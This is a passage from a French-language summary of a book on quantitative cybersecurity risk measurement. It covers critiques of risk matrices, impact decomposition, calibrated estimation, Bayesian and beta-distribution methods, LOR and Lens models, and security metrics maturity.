respectent pas dans près de 50% des cas. Ces phénomènes produisent ce que Budescu nomme une "illusion de communication" : les gens pensent se comprendre, mais leurs interprétations divergent. Un autre biais vient du choix même des échelles, dont le format influence fortement les réponses par effet d'ancrage (étude de Craig Fox). #### Les (fausses) mathématiques des matrices` Tony Cox a analysé en détail les problèmes posés par les matrices de risque. Il pointe en particulier la compression des échelles : par exemple, la case "10 millions ou plus" peut englober indifféremment 10, 100 ou 1000 millions. Cette compression est encore aggravée par l'usage combiné de deux échelles ordinales dans une matrice. Cox montre que deux risques ayant une espérance de perte dans un rapport de 1 à 100 peuvent se retrouver dans la même case, et que dans certains cas, l'ordre de priorité peut même être inversé. Il conclut que les matrices de risque peuvent être néfastes, voire produire des résultats pires qu'une priorisation aléatoire. Il précise que cela dépend de la conception des matrices et a formulé un théorème permettant d'obtenir une "cohérence faible". Mais même dans ce cas, il considère les matrices comme des amplificateurs d'ambiguïté dont l'usage est déconseillé. D'autres approches évitent les matrices, mais opèrent tout de même des calculs sur des valeurs ordinales, comme la méthode OWASP ou le système de notation CVSS, ce qui n'a pas de fondement mathématique solide et reste donc discutable. #### Autres études à charge L’ouvrage cite également deux autres études importantes qui mettent en évidence les effets de distorsion provoqués par l’usage des matrices de risque. Étude de Hubbard et Evans : en collectant des données de cinq organisations, Hubbard a constaté que les réponses étaient regroupées sur peu de cases, si bien qu'une matrice 5x5 se comporte en réalité comme une 2x2. Ces regroupements amplifient les erreurs et réduisent la fiabilité des évaluations. Étude de Philip Thomas, Reidar Bratvold, et J. Eric Bickel : après avoir passé en revue la littérature scientifique sur les matrices de risque (pétrole, gaz, autres secteurs industriels), ils observent que ces matrices présentent de graves incohérences et peuvent conduire à des erreurs importantes. Leur conclusion est sans appel : > Compte tenu de ces problèmes, il semble évident que les matrices de risque ne devraient pas être utilisées pour des décisions ayant des conséquences. #### Autres conceptions erronées Les méthodes quantitatives sont souvent critiquées pour leur imperfection. Mais, comme l’a bien dit le statisticien George Box : "Tous les modèles sont faux, mais certains sont utiles." En pratique, beaucoup de professionnels se montrent moins rigoureux dans leur analyse critique des méthodes qualitatives que des méthodes quantitatives. #### Impact de la culture statistique sur l'attitude envers les méthodes quantitatives Les auteurs observent que la maîtrise des concepts de base de la statistique est fortement corrélée à l’acceptation des méthodes quantitatives. Plus globalement, c'est plutôt l'ignorance qui conduit à rejeter les méthodes quantitatives. #### Autres critiques Les auteurs passent en revue les objections fréquentes aux méthodes quantitatives, et montrent qu'elles sont infondées, ou qu'elles s'appliquent tout autant aux méthodes qualitatives. Le chapitre se conclut par un encart de Jack Jones, concepteur de la méthode FAIR, qui plaide pour l'usage d’analyses de risque quantitatives. Il insiste sur l’importance de la pédagogie et d’un changement culturel pour surmonter les résistances et favoriser leur adoption. ## Deuxième partie - L’évolution du modèle de risque en cybersécurité (_Evolving the Model of Cybersecurity Risk_) ### Chapitre 6 – Décomposer : entrer dans les détails (_Decompose It: Unpacking the Details_) Ce chapitre montre comment améliorer la précision des analyses d'impact en utilisant la décomposition introduite au chapitre 4. #### Décomposition simple de l'impact Une première approche consiste à décomposer l'impact selon les trois dimensions classiques "CIA" : Confidentialité, Intégrité et Disponibilité (_Availability_). On peut même regrouper Confidentialité et Intégrité, et de traiter la Disponibilité séparément, car l'impact des indisponibilités est souvent plus facile à estimer à partir des données internes. Pour chaque événement de sécurité, on précise : - la probabilité annuelle de survenue de l'événement - la probabilité que l'événement relève purement de la Confidentialité/Intégrité - la probabilité que l'événement relève purement de la Disponibilité - l'impact sur Confidentialité/Intégrité sous forme d'intervalle de confiance à 90% (borne basse et borne haute) - l'impact sur Disponibilité sous forme : - d'un intervalle de confiance à 90% pour la durée d'indisponibilité - d'un intervalle de confiance à 90% pour le coût horaire de l'indisponibilité À partir de ces neuf paramètres, on peut calculer : - l'espérance de perte pour la Confidentialité/Intégrité - l'espérance de perte pour la Disponibilité - la distribution des pertes Confidentialité/Intégrité (via simulation Monte-Carlo) - la distribution des pertes Disponibilité (Monte-Carlo) - la distribution des pertes totales (Monte-Carlo) Il s'agit là seulement d'un exemple possible de décomposition ; le lecteur est invité à retenir le modèle le plus pertinent pour son contexte. #### Quelques stratégies de décomposition La sélection des événements à évaluer peut se faire selon différentes approches : - par application ; - par liste de risques - par vulnérabilités - par toute autre dimension pertinente. La décomposition de chaque ligne doit ensuite reposer sur des choses qu'on connait (les observables). On peut citer les catégories suivantes : - intervalle estimé (estimation directe en s'appuyant sur les connaissances) - fraude financière - indisponibilité des systèmes - coûts d'investigation et de réparation - atteinte à la propriété intellectuelle - notification et surveillance de crédit - impacts légaux et amendes - autres interférences avec les opérations - réputation #### Lignes directrices pour la décomposition : Clair, Observable, Utile Quand un analyste fait un calcul de tête pour arriver à une estimation, il est préférable de décomposer le problème et d'expliciter le calcul. La tâche de l'analyste est de trouver la bonne décomposition qui améliore effectivement les estimations de risque. Ce n'est pas chose facile, car certaines stratégies de décompositions sont meilleures que d'autres, et il faut être capable de faire la différence. De plus, il est parfois préférable de ne pas décomposer. Ron Howard a été un des pionniers de théorie de la décision. Il a réalisé que bien des difficultés n'étaient pas d'ordre mathématique. Ainsi, il a constaté que parfois les décideurs n'arrivaient même pas à définir le problème pour lequel ils devaient décider. Howard a défini trois principes fondamentaux pour la prise de décision : - Clarté : tout le monde doit savoir ce qu'on veut dire - Observabilité : il faut pouvoir observer l'élément considéré - Utilité : l'information doit avoir un impact direct sur une décision ou une action à entreprendre Même si ces principes semblent évidents, ils ne sont pas toujours respectés. Prenons l'exemple du "Niveau de compétence des attaquants" dans le standard OWASP : - Clarté : le niveau de compétence est-il défini sans ambiguïté ? Les échelles ordinales apportent-elles une réelle précision ? - Observabilité : comment mesurer objectivement le niveau de compétence d'un attaquant ? - Utilité : de quelle manière cette information modifierait-elle concrètement vos choix ou actions ? Il est possible d'atteindre les trois prérequis pour ce cas, mais cela demande un gros effort. Dans le cas contraire (le plus courant), c'est de la spéculation pure et sans valeur ajoutée. #### Éviter la sur-décomposition Une décomposition doit mener à des quantités qui nous sont plus familières que celles recherchées initialement. Le degré d'abstraction de la décomposition devrait être inférieur à celui du tout. Si une décomposition produit un intervalle plus large que celui déterminé initialement, cela permet de questionner les hypothèses faites pour déterminer l'intervalle initial, ou de questionner la décomposition. #### Résumé des règles de décomposition - Règle de décomposition #1 : les décompositions doivent s'appuyer sur ce qu'on sait mieux estimer ou qu'on peut obtenir - Règle de décomposition #2 : comparer la décomposition à l'estimation directe au moyen d'une simulation. En cas d'incohérence, réviser soit la décomposition, soit l'estimation initiale. On en déduit quelques considérations pratiques : - Pour réduire l'incertitude en multipliant deux variables issues de la décomposition, chacune doit avoir un intervalle d'estimation sensiblement plus étroit que celui de l'intervalle de départ (règle empirique : réduire le ratio borne haute/basse par 3 au minimum). - Si l'incertitude provient essentiellement d'une seule variable, son ratio borne haute/basse doit être inférieur à celui de l'estimation initiale. - Lorsque les variables sont corrélées, la décomposition peut devenir contre-productive, sauf si la corrélation est explicitement modélisée. - Si on dispose de données empiriques suffisantes pour estimer directement une distribution, il est souvent inutile de décomposer davantage. #### Une décomposition difficile : l'atteinte à la réputation L'estimation de l'impact d'une atteinte à la réputation est reconnue comme un problème difficile. La première approche consiste à observer l'effet sur les ventes ou sur la valorisation boursière, les deux étant souvent corrélés. Après une analyse approfondie des données historiques, les auteurs distinguent deux situations : - Fort impact visible : l'entreprise fournit des services où la cybersécurité est un élément central de la confiance des clients ; une atteinte à la réputation peut alors entraîner des pertes significatives (ex : SolarWinds, Equifax). - Faible impact visible : la cybersécurité n'est pas au cœur de la valeur perçue par les clients ; l'effet sur les ventes ou la valorisation reste limité (ex : Marriott, Merck). L'ampleur de l'impact dépend notamment : - du type d'entreprise et de produit impactés - du type de données divulguées - de la fréquence des attaques - de la réactivité lors de l'incident Pour les cas à faible impact visible, une méthode plus fiable consiste à estimer les coûts des "projets de repentance" engagés après l'attaque : - nouveaux investissements - remplacement du CISO - recours à des agences de communication de crise - campagnes marketing ou publicitaires supplémentaires pour regagner la confiance et limiter les pertes commerciales. On constate qu'avec un peu d'effort d'analyse, il est possible de donner des estimations raisonnables même pour une notion aussi intangible que l'atteinte à la réputation. ### Chapitre 7 - Estimations calibrées : que savez-vous vraiment ? (_Calibrated Estimates: How Much Do You Know Now?_) Ce chapitre se penche sur le problème de la calibration des estimations. Comme vu au chapitre 5, la recherche a montré que les gens sont médiocres pour déterminer des probabilités, mais peuvent être entraînés pour devenir très performants. #### Probabilités subjectives La méthode d'audit rapide met en œuvre deux types de probabilités subjectives : - les probabilités binaires discrètes : la probabilité qu'un événement se produise ou non dans une période donnée (généralement un an) - les probabilités continues : la plage de valeur que peut prendre une variable, par exemple la durée d'une panne ou le montant de perte financière. Deux biais apparaissent fréquemment chez les analystes : - la sur-confiance : les estimations sont moins souvent justes que ce que prédit l'analyste. - la sous-confiance : les estimations sont plus souvent justes que ce que prédit l'analyste. Les experts ont déterminé que les bookmakers étaient plus performants dans leurs estimations que des dirigeants. Ils ont compris que la capacité à faire des estimations est un savoir-faire qui s'apprend, avec des progrès mesurables. #### Exercices de calibration Les auteurs proposent un exercice de calibration pour les deux types de probabilités subjectives. Cela permet au lecteur de se faire une idée de ses biais et des principes de calibration. Les questions pour les probabilités continues sont du type : quelle est la taille typique d'une carte de visite ? Il faut répondre par un intervalle de confiance à 90% (par exemple : entre 5 et 8 cm). Les questions sur les probabilités binaires sont du type : Napoléon est né en Corse. Il faut répondre vrai ou faux, et donner son degré de confiance dans l'exactitude de sa réponse, entre 50 et 100% par incrément de 10%. Certaines questions peuvent être familières, d'autres non. Mais dans tous les cas il est possible de répondre, simplement en augmentant le degré d'incertitude. Une petite expérience de pensée permet d'améliorer les estimations initiales. On imagine faire tourner une roue de la fortune avec une grande zone couvrant 90% de la surface, et une petite zone couvrant 10% de la surface. On a le choix entre deux jeux pour gagner potentiellement 1000 dollars : A. On gagne 1000 dollars si la bonne réponse est bien dans notre intervalle estimé, et rien si l'estimation est en-dehors de l'intervalle. B. On gagne 1000 dollars si en faisant tourner la roue on tombe dans la grande zone, et rien si on tombe dans la petite zone. 80% des gens préfèrent faire tourner la roue (option B). La seule explication rationnelle est que l'intervalle estimé n'est pas l'intervalle de confiance à 90%, mais plutôt à 50%, 65% ou 80%. C'est le cas de la sur-confiance (le plus fréquent). Le fait de préférer l'option A est également indésirable, car cela signifie qu'on pense en réalité avoir plus de 90% de chance que l'intervalle estimé contienne la bonne valeur, alors qu'on est censé donner un intervalle à 90%. C'est le cas de la sous-confiance (moins fréquent). La seule bonne réponse est d'être indifférent aux deux options A et B, car on estime qu'elles sont équivalentes. Hubbard appelle ce test le "test de pari équivalent". Ce test permet d'améliorer sensiblement les estimations, en décelant un décalage entre la confiance affichée (90%) et la confiance révélée par les choix. #### Autres méthodes d'amélioration Répétition et feedback - On fait des quiz successifs, avec un feedback entre chaque pour tenter d'améliorer sa performance sur le suivant. Pour et contre - On peut rechercher deux arguments pour et deux arguments contre l'estimation qu'on vient de faire. On peut alors corriger l'estimation si on le souhaite. Cette méthode améliore significativement la calibration. Anti-ancrage - On considère chaque borne de l'intervalle indépendamment et on se pose une question binaire pour chacune : est-on vraiment certain que 5% des valeurs sont à l'extérieur de cette borne ? Travailler séparément sur les deux bornes et indépendamment d'une valeur médiane s'avère efficace pour lutter contre le biais d'ancrage. Test par l'absurde - On part d'un intervalle démesurément large, et on le raffine jusqu'à avoir des valeurs qui sont peu plausibles (5%) mais plus absurdes. #### Obstacles conceptuels Certains professionnels réfutent l'idée de donner une probabilité subjective, estimant qu'un événement unique ne peut pas être quantifié. Les exercices de calibration montrent qu'ils peuvent, après entraînement, fournir des estimations fiables. D'autres sont réticents à donner un intervalle chiffré, en confondant incertitude et absence totale de connaissance. En réalité, on dispose presque toujours de bornes plausibles. L'approche anti-ancrage et le test par l'absurde aident à définir un intervalle de confiance réaliste. #### Subjectivistes vs objectivistes Le chapitre contient un encart sur le débat philosophique non tranché entre subjectivistes et objectivistes. La plupart des décideurs ont une vision subjectiviste, comme celle des auteurs, qui s'appuie sur l'interprétation bayésienne de la probabilité. A contrario, les objectivistes ont une interprétation fréquentiste, qui s'avère plus difficile à comprendre et moins opérationnelle. #### Les effets de la calibration Grâce aux données acquises lors de la formation de plus de 2000 personnes, Hubbard a montré que la plupart atteignent une bonne calibration. Dans un cas réel avec Giga Information Group (une entreprise de conseil rachetée par Forrester), les analystes calibrés produisaient des intervalles de confiance bien plus fiables que ceux des clients, même si le taux de réponses exactes n'était pas systématiquement plus élevé. #### Autres méthodes avancées d'amélioration Pour conserver une bonne calibration, les auteurs recommandent de faire régulièrement des estimations d'entraînement sur des questions avec un retour rapide et non ambigu (par exemple estimer un résultat prochainement publié dans un rapport sectoriel). Pour réduire le manque de cohérence, plusieurs méthodes simples s'avèrent efficaces : - Faire la moyenne des estimations de plusieurs experts - Estimer à nouveau les questions par le même expert après plusieurs jours d'intervalle, en changeant l'ordre des questions, et sans révéler la précédente estimation, puis faire la moyenne. - Confronter les estimations à la réalité - Si une estimation permet de conclure qu'on doit voir un tel événement plusieurs fois par an, et qu'il s'avère qu'aucun événement n'a été vu les cinq dernières années, alors on voudra sans doute réviser l'estimation. #### Agrégation des experts La recherche de consensus par discussion de groupe est l'une des méthodes les moins performantes. La moyenne d'estimations indépendantes donne de meilleurs résultats. Cependant, il existe des exceptions : Philip Tetlock a montré que si un groupe est composé d'actualisateurs de croyances (_belief updaters_), la discussion peut améliorer la précision. Par ailleurs, si deux experts jugent qu'un événement est plus probable que la normale, alors il est encore plus probable que la moyenne de leurs estimations. C'est la méthode dite d'extrémisation de la moyenne. ### Chapitre 8 - Réduire l'incertitude avec des méthodes bayésiennes (_Reducing Uncertainty with Bayesian Methods_) Ce chapitre rappelle les fondements mathématiques de l'approche bayésienne. 1. Notations - P(A) désigne la probabilité de A, entre 0 et 1 inclus. - P(~A) désigne la probabilité de non A. 2. P(A) + P(~A) = 1 3. P(A, B) signifie que A et B sont vrais tous les deux. Si A et B sont indépendants, P(A, B) = P(A)P(B). Également, P(A, B) = P(B, A), c'est la commutativité. 4. P(A|B) est la probabilité conditionnelle de A sachant B. 5. Règle de chaînage : P(A, B) = P(A|B)P(B), P(A, B, C) = P(A|B, C)P(B|C)P(C), etc. 6. Loi des probabilités totales : P(A) = P(A|B)P(B) + P(A|~B)P(~B) 7. Comment inverser une probabilité conditionnelle : loi de Bayes > P(A|B) = P(A)P(B|A)/P(B) > P(A|B) = P(A)P(B∣A)/(P(B∣A)P(A)+P(B∣~A)P(~A)) #### Exemple : est-ce que MFA fonctionne ? E1 - Sur la base de données sectorielles, on estime la probabilité d’intrusion sans MFA entre 4% et 16%, et on le fixe ici à 10% par an. Avant d’investir dans une solution MFA, on souhaite estimer dans quelle mesure elle réduirait cette probabilité. La promesse de MFA est de réduire le risque d'intrusion de 90% (efficacité relative). On sait qu’une entreprise similaire ayant mis en place du MFA n’a eu aucune intrusion l’année dernière. Peut-on exploiter cette information ? On note W l’événement "MFA est efficace" et B l’événement "une intrusion a lieu". Sans MFA, la probabilité d'avoir une intrusion était de 10%. Donc la probabilité d'intrusion avec MFA qui fonctionne est 0,1 * 0,1 = 0,01 = P(B|W) Donc P(~B|W) = 0,99 E2 - On estime la probabilité que la promesse d'efficacité soit vraie à P(W) = 60% D'après E1 : P(~B|~W) = 0,9 Appliquons la loi des probabilités totales : P(~B) = P(~B|W)P(W) + P(~B|~W)P(~W) = 0,99 _0,6 + 0,9_ 0,4 = 0,954 On veut calculer la probabilité que MFA soit efficace sachant qu'on a observé l'absence d'intrusion. Appliquons Bayes : P(W|~B) = P(W)P(~B|W)/P(~B) = 0,6 * 0,99 / 0,954 ≈ 0,6226 On a donc révisé notre estimation de 60% à 62,26%, simplement sur la base d'une observation. Notre nouvelle estimation de la probabilité d'intrusion est : P(B) = P(B|W)P(W)' + P(B|~W)P(~W)' = 0,01 _0,6226 + 0,1_ 0,3774 ≈ 0,04397 Notre estimation de la probabilité d'intrusion passe donc de 4,6% à 4,397% Maintenant supposons que l'on connaisse 12 entreprises qui n'ont pas eu d'intrusion pendant un an après application de MFA. Si W est vraie, la probabilité d'absence d'intrusion passe de 0,99 à P(~B^12|W) = 0,99^12 = 0,8864 Si W n'est pas vraie, elle passe de 0,9 à P(~B^12|~W) = 0,9 ^ 12 = 0,2824 Appliquons la loi des probabilités totales : P(~B^12) = P(~B^12|W)P(W) + P(~B^12|~W)P(~W) = 0,8864 _0,6 + 0,2824_ 0,4 ≈ 0,6448 On veut calculer la probabilité que MFA soit efficace sachant qu'on a observé l'absence d'intrusion sur 12 entreprises. Appliquons Bayes : P(W|~B^12) = P(W)P(~B^12|W)/P(~B^12) = 0,6 * 0,8864 / 0,6448 ≈ 0,8248 On a donc révisé notre estimation de 60% à 82,48%, sur la base de 12 observations. Notre nouvelle estimation de la probabilité d'intrusion est : P(B) = P(B|W)P(W)" + P(B|~W)P(~W)" = 0,01 _0,8248 + 0,1_ 0,1752 ≈ 0,02577 Notre estimation de la probabilité d'intrusion passe donc de 4,397% (1 observation) à 2,577% (12 observations). #### Note sur les probabilités a priori Dans un raisonnement bayésien, un a priori représente ce que l'on croit avant d'observer de nouvelles données. Il peut venir : - de la connaissance d'un expert ou d'observations passées (a priori informatif) - d'une absence totale d'information, comme 50% pour une valeur binaire (a priori non informatif). #### Le sophisme du procureur Dans de nombreuses questions pratiques, il est plus simple de calculer la probabilité d'une observation sachant qu'une hypothèse est vraie, que de calculer la probabilité que l'hypothèse soit vraie sachant les observations. Supposons qu'on veuille estimer la probabilité d'intrusion dans notre entreprise l'an prochain sachant que dans notre secteur, 2 entreprises sur 20 ont rapporté une intrusion au cours des 3 dernières années ? Hypothèse H : le taux vrai d'intrusion est 3% Observations E : on observe 2 intrusions sur 20 entreprises en 3 ans P(E|H) est la vraisemblance (probabilité d'observer les données si le taux vrai est de 3%) -> facile à calculer avec une loi binomiale P(H|E) est l'a posteriori (probabilité que le taux vrai soit 3% sachant les observations) -> nécessite la valeur précédente plus l'application du théorème de Bayes La confusion entre ces deux valeurs constitue le sophisme du procureur. #### Exemple hors du livre pour illustrer ce sophisme La probabilité d'une mort subite du nourrisson est 1/10000. Si une mère perd son enfant, le sophisme consiste à dire qu'il n'y a qu'une chance sur 10000 que ce soit une cause naturelle, et donc 99,99% de probabilité que ce soit un meurtre. Le calcul est bien sûr faux. Pour tester l'hypothèse H = meurtre, il faut utiliser Bayes avec deux valeurs supplémentaires : - l'a priori, sur le fait qu'une mère tue son enfant (très faible, 1/200000) : P(H) = 0,000005 - P (E|H) -> environ 1 pour un homicide Le calcul correct est : P(H|E) = P(E|H)P(H) / P(E) = P(E|H)P(H) / (P(E|H)P(H) + P(E|~H)P(~H)) = 1 * 0,000005 / (1*0,000005 + 0,0001*(1 - 0,000005)) ≈ 4,8% Donc la probabilité d'homicide passe de 1 sur 200000 a priori à environ 4,8% a posteriori, bien loin des 99,99% avancés par le sophisme. ### Chapitre 9 - Quelques méthodes puissantes basées sur Bayes (_Some Powerful Methods Based on Bayes_) Ce chapitre montre comment mettre en œuvre les approches bayésiennes sur des cas plus avancés. #### Calculer des fréquences avec (très) peu de points : la distribution beta Dans un monde idéal, on disposerait de tables actuarielles des événements cyber, comme on l'a pour d'autres domaines d'assurance. Ces tables contiendraient des informations sur des milliers d'entreprises, sur plusieurs décennies. On pourrait les utiliser pour calculer la fréquence des violations de données personnelles. En réalité on n'a pas autant de données, seuls quelques cas médiatisés. Heureusement, la distribution beta permet de faire une inférence à partir de très peu de données. Paradoxalement, on a beaucoup d'informations sur les fuites de données, car c'est précisément leur médiatisation qui cause la plus grosse partie de l'impact financier au travers de l'impact de réputation. Une fuite de données non divulguée aura un impact financier très limité. Si on dispose dans un rapport sectoriel d'informations sur cinq fuites de données dans notre secteur, c'est suffisant pour faire une inférence, contrairement à la croyance naïve qu'un petit échantillon ne permet aucun calcul statistique. Une distribution beta est utile quand on veut essayer d'estimer une proportion dans une population. Elle ne nécessite que deux paramètres : α et β. Sous Excel, elle s'écrit > = betadist(x, α, β) On peut considérer α et β comme des succès et échecs dans un tirage. On a également besoin d'un a priori sur la proportion, qui peut venir d'une estimation d'un expert calibré, sous la forme d'un intervalle de confiance à 90%. On prend l'exemple de la proportion d'employés qui suivent correctement une procédure sur le traitement des mails suspects. L'expert peut estimer avec un intervalle de confiance à 90% que cette proportion est entre 10 et 40% On peut aussi prendre un a priori sans information : un intervalle de confiance de 0 à 100%. Dans ce cas, α = β = 1, et on obtient une distribution uniforme entre 0 et 1. Supposons maintenant qu'on ait un nouvel échantillon avec un succès et cinq échecs. On va alors calculer : > betadist(x, α précédent + succès, β précédent + échecs) Dans l'exemple, on trouve un intervalle de confiance à 90% de 5,3% à 52%. Le fait de ne pas connaître la taille de toute la population n'est pas bloquant, on peut se baser sur la taille d'un échantillon : - on prend une étude sectorielle sur les entreprises comparables à la nôtre -> taille de l'échantillon, par exemple 60 sur 2 ans, soit 120 entreprises-années. - on regarde le rapport DBIR de Verizon pour voir quelles entreprises parmi cette liste ont subi une fuite de données sur cette période de 2 ans, par exemple 2. On calcule alors : > betadist(x, 1 + 2, 1 + 118) La distribution beta est très facilement mise à jour, pour chaque nouvelle période, pas forcément annuelle. Si on a un a priori informé, on peut faire différents essais de α et β jusqu'à trouver une distribution qui correspond à l'estimation. L'intervalle de confiance à 90% peut être calculé de cette façon : > beta.inv(0.05, α, β) > beta.inv(0.95, α, β) #### Effet de la distribution beta sur votre modèle Si on compare la courbe de dépassement de perte entre une distribution binomiale avec une proportion tirée de notre échantillon d'une part, et la distribution beta d'autre part, on constate que la moyenne est la même, mais la distribution beta a une traînée bien plus importante, ce qui peut provoquer un dépassement de la tolérance au risque. Les auteurs pensent que c'est un manque fréquent dans les analyses de risque. Le chapitre comporte un autre exemple d'utilisation d'une distribution beta utilisée par un client de Hubbard Decision Research pour dimensionner son équipe de réponse à incident. #### Laplace et beta La moyenne d'une distribution beta est α / (α + β). Quand on part de la distribution uniforme, et qu'on ajoute succès et échecs, on obtient : > (1 + succès) / (2 + succès + échecs) On retrouve la règle de succession de Laplace, qui est juste la moyenne d'une distribution beta en partant d'un a priori sans information. #### Décomposition avec de nombreuses conditions Si notre modèle comporte 10 conditions avec chacune 2, 3 ou 4 valeurs, on se retrouve rapidement avec des milliers de combinaisons. Il est impossible en pratique d'interroger un expert sur un si grand nombre de combinaisons. Heureusement, deux méthodes permettent de réduire le nombre de questions à poser. #### Approche _Log Odds Ratio_ (LOR) Cette méthode permet à un expert d'estimer chaque condition séparément, et de les combiner par simple addition. On a la définition suivante : > LOR = ln(P(x) / (1 - P(x))) On obtient une valeur négative pour P(X) < 0,5, positive pour P(X) > 0,5, et nulle pour P(X) = 0,5. La procédure est la suivante : 1. Identifier les experts et les calibrer. 2. Déterminer une probabilité de base P(E). 3. Estimer la probabilité conditionnelle que l'actif rencontre cet événement sachant une certaine condition P(E|X). 4. Répéter pour toutes les valeurs de la condition. 5. Convertir toutes les probabilités recueillies en LOR. 6. Calculer le delta LOR pour chaque condition, à savoir la différence entre le LOR de la condition et le LOR de la probabilité de base. 7. Calculer le LOR de toutes les combinaisons par simple addition des delta LOR correspondants 8. Convertir la LOR en probabilité pour chaque combinaison. 9. Pour les conditions contenant des événements certains ou impossibles, forcer la probabilité à 1 ou 0 (le calcul échouerait avec LOR). Les auteurs insistent sur le fait que cette approche et toutes celles qui précèdent sont parfaitement pragmatiques et ont été appliquées à de nombreuses reprises. Un exemple de dialogue entre un analyste et un expert est fourni pour illustrer comment obtenir les informations pour l'approche LOR. Il faut noter que LOR fonctionne bien tant que les conditions sont indépendantes entre elles. Si deux conditions sont corrélées, le plus simple est d'en ignorer une des deux. #### La méthode Lens Une autre approche pour remplir un grand tableau de combinaisons est de choisir un échantillon de combinaisons et de faire évaluer l'échantillon par les experts, puis de combiner par régression. Curieusement, le modèle qui en ressort s'avère plus performant que les experts qui ont servi à le concevoir. Le modèle Lens a été inventé par Egon Brunswick dans les années 1950, et a fait ses preuves dans de très nombreux domaines, y compris en cybersécurité. Ce modèle ne cherche pas à décomposer l'influence de chaque variable, mais simplement d'inférer les règles en observant les experts. La méthode comporte sept étapes : 1. Identifier les experts et les calibrer. 2. Leur demander d'identifier une dizaine ou moins de facteurs qui influencent la décision. 3. Générer un ensemble de scénarios en utilisant une combinaison de valeurs pour chaque facteur identifié. Générer 50 à 200 scénarios pour chaque expert. 4. Demander aux experts de fournir une estimation pour chaque scénario. 5. Agréger les estimations des experts, par exemple en faisant la moyenne. 6. Faire une régression en prenant la moyenne des estimations d'experts comme la variable dépendante et les données fournies aux experts comme la variable indépendante. Il peut être nécessaire de coder les entrées, ou d'utiliser des méthodes de régression multinomiale. 7. Le résultat de la régression fournit le modèle Lens. Ce modèle permet d'éliminer les incohérences des experts. #### Comparaison entre modèle Lens et LOR 1. LOR est un peu plus rapide à faire. 2. Lens permet de gérer des interactions plus complexes entre variables. 3. LOR est un peu plus simple. 4. LOR tend à produire de bien plus grandes variations des estimations que Lens. 5. Les deux méthodes réduisent les incohérences, mais Lens fournit une façon plus simple de la mesurer. Pour LOR, il est important de vérifier les conditions extrêmes. Il est possible que certaines variables soient corrélées, auquel cas il est recommandé d'en supprimer une. Même en mettant en œuvre Lens, il est intéressant de démarrer par LOR pour aider les experts à choisir les conditions, en éliminant celles qui ne font pas varier les estimations. Les réticences classiques des experts sont exposées avec la façon d'y répondre. #### LOR depuis les autres professionnels de la cybersécurité En compilant les données de nombreuses organisations, les auteurs ont identifié cinq attributs qui sont les plus pertinents : - MFA - Chiffrement - Nombre d'utilisateurs - Connecté à internet ou pas - Localisation physique Ainsi, les auteurs ont trouvé un delta-LOR pour MFA de 2,2, et fournissent les autres valeurs également. LOR peut aussi être utilisé pour améliorer la façon de combiner les estimations d'experts. Le chapitre détaille cette méthode avancée. Une autre application avancée est de calculer la valeur d'une information. Le reste du chapitre présente d'autres cas d'usage encore plus avancés. Il se termine par la distribution gamma, qui a l'avantage sur la distribution beta de pouvoir fournir des valeurs positives supérieures à 1, par exemple pour estimer une fréquence. #### Conclusion Les approches bayésiennes peuvent s'appliquer à des problèmes simples ou plus élaborés. Il n'est pas nécessaire de tout utiliser immédiatement, mais plutôt de manière progressive. Tous les outils présentés sont disponibles sur ## Troisième partie - Le management du risque cyber pour l'entreprise (_Cybersecurity Risk Management for the Enterprise_) ### Chapitre 10 - Vers la maturité des métriques de sécurité (_Toward Security Metrics Maturity_) Ce chapitre s'appuie sur l'ouvrage _The Metrics Manifesto_, de Richard Seiersen (l'un des deux auteurs), publié en 2022 chez Wiley. Il fournit un modèle opérationnel de maturité des métriques cyber. Une métrique est une mesure continue associée à un objectif. #### Analytique à données limitées (_Sparse Data Analytics_, SDA) C'est le premier niveau de maturité, adapté au lancement d'un programme cyber. Il nécessite peu d'information, comme vu dans les chapitres précédents. Il permet de répondre à la question "dans quoi dois-je investir ?", et s'appuie sur des opinions d'experts et des données ad-hoc. #### Métriques fonctionnelles de sécurité (_Functional Security Metrics_, FSM) Une fois les investissements faits, la bonne question est de savoir si les mesures de sécurité sont efficaces, en termes de couverture opérationnelle, configuration système et réduction des risques pour les principaux domaines. On distingue deux familles de métriques : 1. Les métriques de couverture et configuration : elles mesurent l'efficacité opérationnelle, en termes de déploiement, de configuration efficace. 2. Les métriques d'atténuation : elles mesurent à quel rythme des risques sont ajoutés et retirés de l'organisation. #### Le modèle BOOM BOOM signifie "Baseline Objectives and _Optimization Measurements_". C'est le référentiel de métriques décrit dans l'ouvrage _The Metrics Manifesto_. Il contient cinq types de métriques : 1. Taux de réduction (_Burndown rate_) : taux de base auquel le risque est éliminé au fil du temps. 2. Survie (_Survival_) : durée de vie (TTL) du risque. 3. Taux d'arrivée (_Arrival rate_) : taux auquel le risque apparaît. 4. Temps d’attente (_Wait-time_) : temps écoulé entre deux apparitions de risques. 5. Taux d'évasion (_Escape rate_) : taux auquel le risque se déplace. Les métriques évasions, temps d'attente, et arrivée sont orientées prévention (_shift-left_), tandis que survie et taux de réduction mesurent la réaction après incident (_shift-right_). #### Taux de réduction (_burndown_) Il s'agit d'un ratio en fonction du temps, les attaques réussies en numérateur (hits), le nombre total d'attaques en dénominateur (hits + misses). Prenons par exemple les vulnérabilités découvertes et remédiées. - janvier : 100 découvertes, 50 remédiées -> _burndown_ = 50% - février : +100 découvertes, +30 remédiées -> _burndown_ = 40% (80/200) On voit qu'on peut appliquer la distribution beta pour calculer l'intervalle de confiance, et savoir si on a atteint notre objectif (par exemple 60% ou plus). Cela permet de mesurer à la fois la capacité et la régularité dans le temps. #### Durées de survie Ces métriques mesurent la durée pendant laquelle un problème reste actif avant d'être résolu. Exemples : délai nécessaire pour patcher une vulnérabilité ou bloquer un domaine malveillant. Cette approche repose sur l’analyse de survie, qui prend en compte les risques encore non résolus (censurés). Dans ce contexte, censuré signifie qu'il manque une information (par exemple la date de résolution). Lorsque l'information devient disponible, on enregistre un événement d'intérêt (_hazard_), c’est-à-dire l’action ou l’occurrence qui met fin à la vie du risque. L’analyse statistique peut être réalisée avec des fonctions dédiées à l’analyse de survie, afin de calculer des métriques comme l’intervalle de durée de remédiation avec un niveau de confiance de 90%. #### Taux d'arrivée Une métrique de prévention importante est le taux d’arrivée (_arrival rate_), qui mesure la fréquence à laquelle de nouveaux risques apparaissent dans l’organisation. Exemple - phishing : - Organisation de 10000 employés. - L'équipe sécurité estime, sur la base de son expérience, environ 5 attaques de phishing par semaine. - Comme il s'agit d'une estimation a priori issue d'experts, on la modélise avec une distribution Gamma(5, 1). Ensuite, on collecte des données réelles : 87 attaques de phishing sur 12 semaines. Pour les données observées, on utilise une loi de Poisson(87/12), soit 7,25 événements/semaine. On peut combiner la connaissance a priori 